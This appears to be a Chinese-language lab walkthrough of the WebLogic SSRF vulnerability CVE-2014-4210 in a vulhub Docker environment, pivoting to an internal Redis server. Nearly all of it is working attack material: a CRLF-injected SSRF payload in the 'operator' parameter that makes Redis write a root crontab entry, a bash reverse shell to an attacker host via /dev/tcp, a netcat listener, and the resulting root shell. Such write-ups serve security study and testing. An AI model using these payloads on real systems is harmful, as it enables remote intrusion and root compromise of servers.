WebLogic-Redis:CVE-2014-4210[SSRF]

环境部署

vulhub:/vulhub-master/weblogic/ssrf

1.开启靶场

复制代码
[root@localhost ssrf]# docker-compose up -d
Starting ssrf_redis_1 ... done
Starting ssrf_weblogic_1 ... done

2. 查看端口

复制代码
[root@localhost ssrf]# docker ps
CONTAINER ID   IMAGE                           COMMAND                  CREATED        STATUS              PORTS                                                 NAMES
6ef6868dbbb9   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"       26 hours ago   Up About a minute   5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   ssrf_weblogic_1
86f083e195f6   vulhub/baselinux:centos-6       "/docker-entrypoint...."   26 hours ago   Up About a minute   6379/tcp                                              ssrf_redis_1

3.获取redis内网ip【172.22.0.2】

docker exec -it 容器ID ifconfig

复制代码
[root@localhost ssrf]# docker exec -it 86f083e195f6 ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:AC:16:00:02
          inet addr:172.22.0.2  Bcast:172.22.255.255  Mask:255.255.0.0

4.访问漏洞发生页面

复制代码
http://192.168.10.5:7001/uddiexplorer/SearchPublicRegistries.jsp

漏洞利用

1.打开bp代理

2.页面输入任意内容提交,bp抓包

漏洞点参数为 operator

3.替换参数,测试端口开启情况

复制代码
operator=http://172.22.0.2:6379/

查看响应包中内容

复制代码
An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://172.22.0.2:6379/ which did not have a valid SOAP content-type: null.

发生<BR>错误
weblogic.uddi.client.structures.exception.XML_SoapException:收到来自 url: http://172.22.0.2:6379/ 的响应,该响应没有有效的 SOAP content-type: null。

4.编写payload

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >&
/dev/tcp/192.168.10.128/7777 0>&1' \n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

5.进行url编码

encodeURIComponent编码方式

复制代码
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%0A%2Fdev%2Ftcp%2F192.168.10.128%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20config%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave

6.将编码后的所有换行符替换

由于redis命令由 \r\n 结尾,需要将 %0A 替换为 %0D%0A

将命令保存为txt文档,选中指定内容 ctrl+h 进行替换

替换后:

复制代码
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%0D%0A%2Fdev%2Ftcp%2F192.168.10.128%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20config%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

7.在二次加工后的payload添加指定内容

最终payload:

对红色部分进行替换

operator=http://172.22.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%

5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200- 6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.10.128%2F7777%200%3E%

261'%20%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0

D%0Alalala

8.监听7777端口

nc lvp 7777

9.发送数据包,进行反弹连接

复制代码
连接成功:
┌──(root㉿kali)-[~]
└─# nc -lvp 7777  
listening on [any] 7777 ...

192.168.10.5: inverse host lookup failed: Unknown host
connect to [192.168.10.128] from (UNKNOWN) [192.168.10.5] 35496
sh: no job control in this shell
sh-4.1# 
sh-4.1# ls
ls
anaconda-ks.cfg
install.log
install.log.syslog
sh-4.1# 
相关推荐
xujiangyan_3 小时前
linux的sysctl系统以及systemd系统。
linux·服务器·网络
网络安全大学堂3 小时前
【黑客技术零基础入门】PHP环境搭建、安装Apache、安装与配置MySQL(非常详细)零基础入门到精通,收藏这一篇就够
安全·web安全·计算机·网络安全·黑客·信息安全·程序员
卓码软件测评5 小时前
【网站测试:CORS配置错误引发的安全风险及测试】
功能测试·安全·web安全·压力测试·可用性测试·安全性测试
吱吱企业安全通讯软件6 小时前
吱吱企业通讯软件保证内部通讯安全,搭建数字安全体系
大数据·网络·人工智能·安全·信息与通信·吱吱办公通讯
云边云科技7 小时前
零售行业新店网络零接触部署场景下,如何选择SDWAN
运维·服务器·网络·人工智能·安全·边缘计算·零售
rainFFrain8 小时前
Boost搜索引擎项目(详细思路版)
网络·c++·http·搜索引擎
AOwhisky8 小时前
Linux 文本处理三剑客:awk、grep、sed 完全指南
linux·运维·服务器·网络·云计算·运维开发
青草地溪水旁10 小时前
网络连接的核心机制
网络
中科数测10 小时前
开源软件惊现高危漏洞,中科固源解决方案利用GDB 调试成关键 “排雷兵”,实战运用指南
安全
花开富贵贼富贵10 小时前
计算机网络技术学习-day4《路由器配置》
网络·智能路由器·php